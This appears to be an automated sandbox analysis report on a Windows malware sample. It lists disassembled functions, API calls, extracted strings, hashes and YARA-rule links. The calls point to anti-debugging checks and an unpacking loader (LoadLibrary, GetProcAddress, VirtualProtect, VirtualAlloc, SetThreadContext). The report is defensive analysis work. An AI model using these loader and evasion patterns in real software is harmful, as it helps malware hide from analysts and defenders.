Instruction Fuzzy Hash: DC214F39781324AFE7109BA1EC0AFD87F34EB48B02F108465FB09961D0C6F426508F6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5A0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00416A1D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00416A34
UnhandledExceptionFilter.KERNEL32(00423DE0), ref: 00416A3F
GetCurrentProcess.KERNEL32(C0000409), ref: 00416A5D
TerminateProcess.KERNEL32(00000000), ref: 00416A64

Strings

?mA, xrefs: 004169C7

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: ?mA
API String ID: 2579439406-33431379
Opcode ID: aa1f054fd25fb6706d311b1895f4afbfc2a64d274478ed5b853a40de930f47fd
Instruction ID: ba150e9324a0fa4a3de2b9e52932fdc46de3ada28021107a4f985b97e72c180d
Opcode Fuzzy Hash: aa1f054fd25fb6706d311b1895f4afbfc2a64d274478ed5b853a40de930f47fd
Instruction Fuzzy Hash: 1D21EDB9901304AFD351DF26FD85644BBA0BB18315F40A43EF90893761EB785984CF4E

Uniqueness

Uniqueness Score: -1.00%

Function 0262092B, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0262095F
l, xrefs: 02620966
GetProcAddress., xrefs: 026209DC, 026209DF, 026209E4

Memory Dump Source

Source File: 00000000.00000002.294072107.0000000002620000.00000040.00000001.sdmp, Offset: 02620000, based on PE: false

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 801ea86e0f9c7cf40e39d3a45d58d66e0a547b3932dc96d81e1450ee5c8ff12a
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: BE3137B6901619DFDB10CF99C880AAEBBF5FF58324F14504AD441A7350D771EA49CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409160, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000000F0), ref: 0040916A

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4c5c2611a98f191d7729d694f210d8a5a6621222d04322a96e9320e908dca684
Instruction ID: cd774b385d3f84e60c2dd5480f7def93345ad7987c13b5d1c7c56c04527f9b4a
Opcode Fuzzy Hash: 4c5c2611a98f191d7729d694f210d8a5a6621222d04322a96e9320e908dca684
Instruction Fuzzy Hash: 75B0123114430837D2101BE3AC099127ADCC5C56203558031F40C81542E97198008059

Uniqueness

Uniqueness Score: -1.00%

Function 0268AD20, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.294154643.0000000002686000.00000040.00000001.sdmp, Offset: 02686000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 413592352542c16e664f56bd78447c15c1b6fafdf92e71e2f429b216c79f1370
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 7311A172340100AFD754EF95DCD0FA673EAEB88325B19816AED05CB356EA75EC42CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02620D90, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.294072107.0000000002620000.00000040.00000001.sdmp, Offset: 02620000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 89405652982bc05c80b6491eefed51c37c53b531f860f2cac0edb6957c03b207
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: 62F0C277A029249FDB22CF24C805BAE73F9FB94215F0449A4D80AD7381D330E94A8F90

Uniqueness

Uniqueness Score: -1.00%

Function 0041CBE0, Relevance: 18.1, APIs: 12, Instructions: 83memorypipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041CC0C
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041CC22
WriteProfileSectionW.KERNEL32(00424E64,00424E28), ref: 0041CC32
VirtualFree.KERNEL32(00000000,00000000,00000000), ref: 0041CC4A
GetSystemWindowsDirectoryW.KERNEL32(?,00000800), ref: 0041CC5C
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 0041CC6D
GetCommandLineA.KERNEL32 ref: 0041CC73
GetStartupInfoW.KERNEL32(00000000), ref: 0041CC7B
InterlockedDecrement.KERNEL32(?), ref: 0041CCDF
WaitNamedPipeW.KERNEL32(00424E98,00000000), ref: 0041CCEC
SetCurrentDirectoryA.KERNEL32(00424EE0), ref: 0041CCF7
HeapWalk.KERNEL32(00000000,00000000), ref: 0041CD47

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Info$Directory$CommandConsoleCountCurrentCursorDecrementFreeHeapInterlockedLineNamedPipeProfileSectionStartupSystemTickVirtualWaitWalkWindowsWrite
String ID:
API String ID: 3826321232-0
Opcode ID: c861398f74800e3f46d2cef8115d136353a293c4b56d6ded1315238530b50062
Instruction ID: 546e0936f0fbbe808e64842a2f0e37c9d163751c119ef1cbae06dbc3339e6109
Opcode Fuzzy Hash: c861398f74800e3f46d2cef8115d136353a293c4b56d6ded1315238530b50062
Instruction Fuzzy Hash: 1C31D435AC4318DFE720ABA1ED4ABD97B74BB09306F10C4AAF60A55180C7B85980DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00413729, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7
_write_multi_char.LIBCMTD ref: 00413AAE
_write_string.LIBCMTD ref: 00413AC9
_write_multi_char.LIBCMTD ref: 00413AF5
_wctomb_s.LIBCMTD ref: 00413B72

Strings

9, xrefs: 004139B8
-, xrefs: 00413A4E

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: 56166c64e88276a675c435588d1bd6a6df9d6ea71bf9e17ca892b26750b81717
Instruction ID: 2469840eaf1d0c532fffe885c11b7531ec75d53dca630c14d349378eb83b3d28
Opcode Fuzzy Hash: 56166c64e88276a675c435588d1bd6a6df9d6ea71bf9e17ca892b26750b81717
Instruction Fuzzy Hash: 65F138B1D052299FDB24DF58CC89BEEB7B5BB44305F10819AE409A7281D778AEC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00413487, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 00413499
_write_multi_char.LIBCMTD ref: 00413AAE
_write_string.LIBCMTD ref: 00413AC9
_write_multi_char.LIBCMTD ref: 00413AF5
_wctomb_s.LIBCMTD ref: 00413B72

Strings

-, xrefs: 00413A4E

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 91632d169ea60f77c5898e4ab527f60d7ecc7db9ca04e1a8b39aac74d20a5178
Instruction ID: 569a5730c9de2d200b77abdac29fc37c87b227ae0363cd64be11799e6fbde448
Opcode Fuzzy Hash: 91632d169ea60f77c5898e4ab527f60d7ecc7db9ca04e1a8b39aac74d20a5178
Instruction Fuzzy Hash: 9BA17C719012289BDB24DF54CC4ABEEB7B1AF44306F1481DAE4197A291E7789FC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004132D5, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 00413AAE
_write_string.LIBCMTD ref: 00413AC9
_write_multi_char.LIBCMTD ref: 00413AF5
_wctomb_s.LIBCMTD ref: 00413B72

Strings

-, xrefs: 00413A4E

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -
API String ID: 1811813154-2547889144
Opcode ID: 2d88f8b37d69791220c4c9a2b0b632dbbc28f11ea389446bfb393f6dca21ff72
Instruction ID: a94da514c8e46436dd838f4965f76b00f8ff0c8edb88107d504c6f259838d0ed
Opcode Fuzzy Hash: 2d88f8b37d69791220c4c9a2b0b632dbbc28f11ea389446bfb393f6dca21ff72
Instruction Fuzzy Hash: 0FA16A71D052289BDB24CF54CC89BEEB7B1AB44306F1481DAE419AA291E7789FC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA7C, Relevance: 10.6, APIs: 7, Instructions: 99fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041CAD6
CopyFileW.KERNEL32(00424BE8,00424BC0,00000000,?,?), ref: 0041CB1E
DeleteFileA.KERNEL32(00424C08), ref: 0041CB29
GetPriorityClass.KERNEL32(00000000), ref: 0041CB43
ResetEvent.KERNEL32(00000000), ref: 0041CB4B
GetPrivateProfileStringW.KERNEL32(00424C9C,00424C64,00424C50,?,00000000,00424C18), ref: 0041CB7F
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041CBB3

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: c0379134dbc99d87fed9f6c771e66f86210aa72681edbfa43dd5ab2838201063
Instruction ID: d2e017aaed9096d442827604abfa74b0317c5e7f07592e73960da7d42e38822b
Opcode Fuzzy Hash: c0379134dbc99d87fed9f6c771e66f86210aa72681edbfa43dd5ab2838201063
Instruction Fuzzy Hash: 73316E74A44218AFDB14DF99DC86BEEBBB5FF48700F10816AE605A3280D7B41A80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA90, Relevance: 10.6, APIs: 7, Instructions: 88fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041CAD6
CopyFileW.KERNEL32(00424BE8,00424BC0,00000000,?,?), ref: 0041CB1E
DeleteFileA.KERNEL32(00424C08), ref: 0041CB29
GetPriorityClass.KERNEL32(00000000), ref: 0041CB43
ResetEvent.KERNEL32(00000000), ref: 0041CB4B
GetPrivateProfileStringW.KERNEL32(00424C9C,00424C64,00424C50,?,00000000,00424C18), ref: 0041CB7F
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041CBB3

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: 1843bea554087897e74343435c1d81b26965e595b5fc8c89058c66eb9562e08c
Instruction ID: b1fc037f64eb01b00684653f948cafa3f533c81c51355b07b7a0841c5ad1d23d
Opcode Fuzzy Hash: 1843bea554087897e74343435c1d81b26965e595b5fc8c89058c66eb9562e08c
Instruction Fuzzy Hash: 6C316D74A44218ABDB14DF99DC86BEEBB75FB48701F10815AE505A3280C7B41A80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CD56, Relevance: 10.5, APIs: 7, Instructions: 36threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000,00000000), ref: 0041CD65
SetConsoleMode.KERNEL32(00000000,?), ref: 0041CD74
IsDBCSLeadByteEx.KERNEL32(00000000,00000000), ref: 0041CD7E
FindFirstChangeNotificationA.KERNEL32(00424F44,00000000,00000000), ref: 0041CD8D
LCMapStringW.KERNEL32(00000000,00000000,00424F68,00000000,?,00000000), ref: 0041CDA7
InterlockedIncrement.KERNEL32(?), ref: 0041CDB4
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041CDBE

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ByteChangeConsoleFindFirstIncrementInterlockedLeadModeNotificationStringTerminateThreadValue
String ID:
API String ID: 1978024113-0
Opcode ID: 72e2c435137a442e87b12dcfe33622bea931148c36e51871ca235c6ec6046dd1
Instruction ID: 02f0bbdc2cadf27bccf1c4be450c1cf831413a6e1098b46553351164acb9a1d4
Opcode Fuzzy Hash: 72e2c435137a442e87b12dcfe33622bea931148c36e51871ca235c6ec6046dd1
Instruction Fuzzy Hash: 6CF01235384314BFF7605BA1AC0BFD57B64EB4DB02F114094FB09E90D0CAE055508B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00417210, Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

___initconout.LIBCMTD ref: 00417234

Part of subcall function 0041B0D0: CreateFileA.KERNEL32(004247B4,40000000,00000003,00000000,00000003,00000000,00000000,?,00417239), ref: 0041B0E9

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 004172B9
WideCharToMultiByte.KERNEL32(00000000), ref: 004172C0
WriteConsoleA.KERNEL32(00427F24,00000000,?,?,00000000), ref: 004172E7

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: b4a83c89962bd639b127769236687db4a3f87bee7dcca68601c9556a92148f8e
Instruction ID: b59cc054eb4f464f9bb99d76480b693a661241cb4ee656eae8aca392ac204340
Opcode Fuzzy Hash: b4a83c89962bd639b127769236687db4a3f87bee7dcca68601c9556a92148f8e
Instruction Fuzzy Hash: 52218230608205ABD720CB94DD44BFA77B4AB09314F6142FAF915961D0DBB89D86CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 00413757, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

9, xrefs: 004139B8
', xrefs: 00413757
0, xrefs: 00413773

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 9b3a34766b1a8314dd2588284b524bafba1bcd79f6bbfc8da12d4385dd547c18
Instruction ID: 952fa10c2b00d7b6f51986490e9a32d315005ca13a2ec6569a6f6b6765fe4801
Opcode Fuzzy Hash: 9b3a34766b1a8314dd2588284b524bafba1bcd79f6bbfc8da12d4385dd547c18
Instruction Fuzzy Hash: FC4102B1E15229DFEB24CF58C889BEEB7B5BB44305F2081DAE049A7240C3789E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00413744, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

9, xrefs: 004139B8
0, xrefs: 00413773

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: 5de4388563e7361cabaebaf1c0728400ff1f533fbb22fb4fd66094ecc186d894
Instruction ID: 00f17955831a6018d699deab18560d1259a2291540df10e1cec39d0e745cd0ab
Opcode Fuzzy Hash: 5de4388563e7361cabaebaf1c0728400ff1f533fbb22fb4fd66094ecc186d894
Instruction Fuzzy Hash: BE41F4B1D15229DFEB24CF58C889BEEB7B5BB44305F20819AE449A7240C7789E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041378C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

9, xrefs: 004139B8

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 7ded7bd28891954dca78d390b8752f57cd8f45f5574ac0e25cc32a2dd1597aea
Instruction ID: 0b0afb31feff89d7836137abac559736e52f64a1958c5d9fbc105aa7653de15a
Opcode Fuzzy Hash: 7ded7bd28891954dca78d390b8752f57cd8f45f5574ac0e25cc32a2dd1597aea
Instruction Fuzzy Hash: CC41E4B1E15229DFEB24CF58C889BEEB7B5FB44301F10859AE049A7240C7785E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041373B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

9, xrefs: 004139B8

Memory Dump Source

Source File: 00000000.00000002.293601375.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 5e664801e2aa4ca0ef7c54f5bf698b51e29bf8cf498a3275ca2a482d620a34cc
Instruction ID: d10e03cdd89a928066a019f9cc6ee17fe7eb7ed8be46f9ff8b4078cbb0afdb54
Opcode Fuzzy Hash: 5e664801e2aa4ca0ef7c54f5bf698b51e29bf8cf498a3275ca2a482d620a34cc
Instruction Fuzzy Hash: 6841E3B1E15228DFDB24DF58C889BEEB7B5BB44301F20819AE049A7240C778AEC5CF45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: trgavvb PID: 2764 Parent PID: 1104 trgavvbCOMMON

Executed Functions

Function 00401995, Relevance: 3.1, APIs: 2, Instructions: 52sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000011.00000002.354009551.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction ID: 2ba8d485649ef9dc555f469e2d9c6b56d1050b598c7c2bb426bbb3a3204dd29a
Opcode Fuzzy Hash: 1f7d92f130acbb62080e1447c1d69e0409f9beba467cd9eefcd93bc44a4b095d
Instruction Fuzzy Hash: 9901F7B1308104FBDB016A948D51EBA3229AB04350F200537B643B80F1C57D9512AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004019A1, Relevance: 3.0, APIs: 2, Instructions: 46sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000011.00000002.354009551.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction ID: 9ecdec514cf71f5eeb304a1e2f202b265b0d51b5f31dfdf67d95f392e824f2cf
Opcode Fuzzy Hash: a3818a9fb474ba3e2fa5a9c52f930498e3002708ef1275743318c44ebc51d0b7
Instruction Fuzzy Hash: 45F0D1B2304145FADB019F848D91EAE3225AB04351F200977F753B80F1C53D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019AD, Relevance: 3.0, APIs: 2, Instructions: 42sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000011.00000002.354009551.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction ID: c9128524272919db4071d016e368c832c930b36d74f35c43d3039e04d983ac6b
Opcode Fuzzy Hash: 8cb8b8be6d17ab2250887b07254eaf4f81bb67d327a7255147a4b54465256ab5
Instruction Fuzzy Hash: ADF0C272304244FBDB01AF948DA1EAE3265AB44355F204977B753B80F1CA7DC512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004019C0, Relevance: 3.0, APIs: 2, Instructions: 41sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019D2
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019FA

Memory Dump Source

Source File: 00000011.00000002.354009551.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction ID: 77f4f58ad70177de11a0d2c10a1031ab6784e6ffca1e9eb20b8bff71da297da0
Opcode Fuzzy Hash: 26df2dfdac8eaf934e06000df82d7820be29502094e8d8ce89c2033723ec3c78
Instruction Fuzzy Hash: FCF0C272304205FBDB01AE94CD91EAE3325AB44315F204977B603B80F1CA3D8512AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0041CDD0, Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 267librarymemorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00438888), ref: 0041CDF0
GetFileSizeEx.KERNEL32(00000000,00000000), ref: 0041CE55
SetCommState.KERNEL32(00000000,?), ref: 0041CEED
GetQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041CF0C
IsProcessorFeaturePresent.KERNEL32(00000000), ref: 0041CF14
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041CF22
GetCharWidthW.GDI32(00000000,00000000,00000000,00000000), ref: 0041CF5C
GetLastError.KERNEL32 ref: 0041CF62
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 0041CF76
InterlockedIncrement.KERNEL32(?), ref: 0041CFBD
LoadLibraryA.KERNEL32(00424FB0), ref: 0041D01B
GlobalUnWire.KERNEL32(00000000), ref: 0041D023
GetBinaryType.KERNEL32(00000000,?), ref: 0041D06C
HeapWalk.KERNEL32(00000000,00000000), ref: 0041D076
WriteProfileStringA.KERNEL32(00424FF8,00424FD8,00424FC8), ref: 0041D08B
EnumResourceNamesA.KERNEL32(00000000,00425008,00000000,00000000), ref: 0041D0D1
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041D0D9
OpenSemaphoreA.KERNEL32(00000000,00000000,00425054), ref: 0041D10C
GetSystemTime.KERNEL32(00000000), ref: 0041D114
WriteProfileSectionA.KERNEL32(00425068,00425060), ref: 0041D15B
ReleaseActCtx.KERNEL32(00000000), ref: 0041D172
FatalAppExitA.KERNEL32(00000000,00425070), ref: 0041D17F
UnregisterWait.KERNEL32(00000000), ref: 0041D19C
InterlockedDecrement.KERNEL32(?), ref: 0041D1A9
FindAtomA.KERNEL32(00425088), ref: 0041D1EC
SetThreadContext.KERNEL32(00000000,00000000), ref: 0041D1F6
OpenMutexW.KERNEL32(00000000,00000000,004250A8), ref: 0041D205
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041D256
CopyFileExA.KERNEL32(004250D4,004250B8,00000000,00000000,00000000,00000000), ref: 0041D26E

Strings

";, xrefs: 0041D0DF
onI, xrefs: 0041CFE3
&Pc, xrefs: 0041D219
Pc, xrefs: 0041D1C0
kikudopeyicusodoluye, xrefs: 0041CE02

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ConsoleFileInterlockedOpenProfileWrite$AliasesAtomBinaryCharCommCompletionContextCopyDecrementEnumEnvironmentErrorExitFatalFeatureFindFreeGlobalHeapIncrementLastLengthLibraryLoadModeMutexNamesOverlappedPresentProcessorQueuedReleaseResourceResultSectionSemaphoreSizeStateStatusStringStringsSystemThreadTimeTypeUnregisterWaitWalkWidthWirelstrlen
String ID: ";$&Pc$Pc$kikudopeyicusodoluye$onI
API String ID: 854587263-271986238
Opcode ID: fd496612a84f1f857df7df87472e2bee00a184a5ae5159c7b19867e77f43277c
Instruction ID: 6c2339c3b9cd5e4c83d54772a7822d39fa84474f0edf728fd93b9fc0fb5bfb79
Opcode Fuzzy Hash: fd496612a84f1f857df7df87472e2bee00a184a5ae5159c7b19867e77f43277c
Instruction Fuzzy Hash: A6B1E574E84224DFEB60AB11DC4ABD97BB0FB09709F10C0AAE509651C0CBB959C5CF9E

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA90, Relevance: 37.1, APIs: 3, Strings: 18, Instructions: 324librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00424E18), ref: 0041BAC8
GetProcAddress.KERNEL32(0239D1A8,00438888), ref: 0041C47B
VirtualProtect.KERNELBASE(023952F0,0239D1AC,00000040,?), ref: 0041C49F

Strings

G6~0, xrefs: 0041BCF6
snkr, xrefs: 0041C35D
2h, xrefs: 0041C1FB
QGk , xrefs: 0041BFDF
25r3, xrefs: 0041BFD5
U!8, xrefs: 0041BB45
T^Yu, xrefs: 0041BDA7
v;M, xrefs: 0041C2A1
@, xrefs: 0041C3E8
M{h, xrefs: 0041BEDF
-tIO, xrefs: 0041C13F
Yh, xrefs: 0041BB95
L|j, xrefs: 0041C2EE
QB4, xrefs: 0041BB4F
=Mbt, xrefs: 0041C3B1
%&C, xrefs: 0041BEB7
8j/, xrefs: 0041BB13
]k;z, xrefs: 0041C0D0

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: 8j/$ %&C$-tIO$25r3$2h$=Mbt$@$G6~0$M{h$QB4$QGk $T^Yu$U!8$Yh$]k;z$snkr$L|j$v;M
API String ID: 3509694964-3870779105
Opcode ID: 4943a79322f6e51741c735c983372de53082c33ab0a448756db083b9e02b71d7
Instruction ID: ab376b631c0086f374974278b807f5f89125bfb16c9ec0cd4f5e4bb7fb6711ca
Opcode Fuzzy Hash: 4943a79322f6e51741c735c983372de53082c33ab0a448756db083b9e02b71d7
Instruction Fuzzy Hash: FC32DAB49063A8CFDB64DFA6998A7CDFBB0BB05304F6082C8D5592B211CB754AC5CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0249003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0249024D

Strings

cess, xrefs: 0249018D
kernel32.dll, xrefs: 0249008F, 02490095

Memory Dump Source

Source File: 00000011.00000002.354854143.0000000002490000.00000040.00000001.sdmp, Offset: 02490000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 48daaddf6b9f05dddef165b20135e80c19b699628415b0923880f3ecea4e53ee
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 84525874A01229DFDB64CF58C984BA9BBB1BF09314F1480DAE94DAB351DB30AE85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00409DC0, Relevance: 10.8, APIs: 7, Instructions: 326COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00409E00
GetFileType.KERNEL32(?), ref: 0040A087

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: FileInfoStartupType
String ID:
API String ID: 3016745765-0
Opcode ID: aad58746dbbb640e8eed9e928526793ed99180a6b8141cc94962e42eb13b126f
Instruction ID: ba3050d5312729c70a91d9f71e2c743143d1e9d08c04e98645506c89ad50502d
Opcode Fuzzy Hash: aad58746dbbb640e8eed9e928526793ed99180a6b8141cc94962e42eb13b126f
Instruction Fuzzy Hash: C8E1FA74E04249CFDB24CFA4C494BADBBB1BB49314F24C26ED8656B382C7399852CF56

Uniqueness

Uniqueness Score: -1.00%

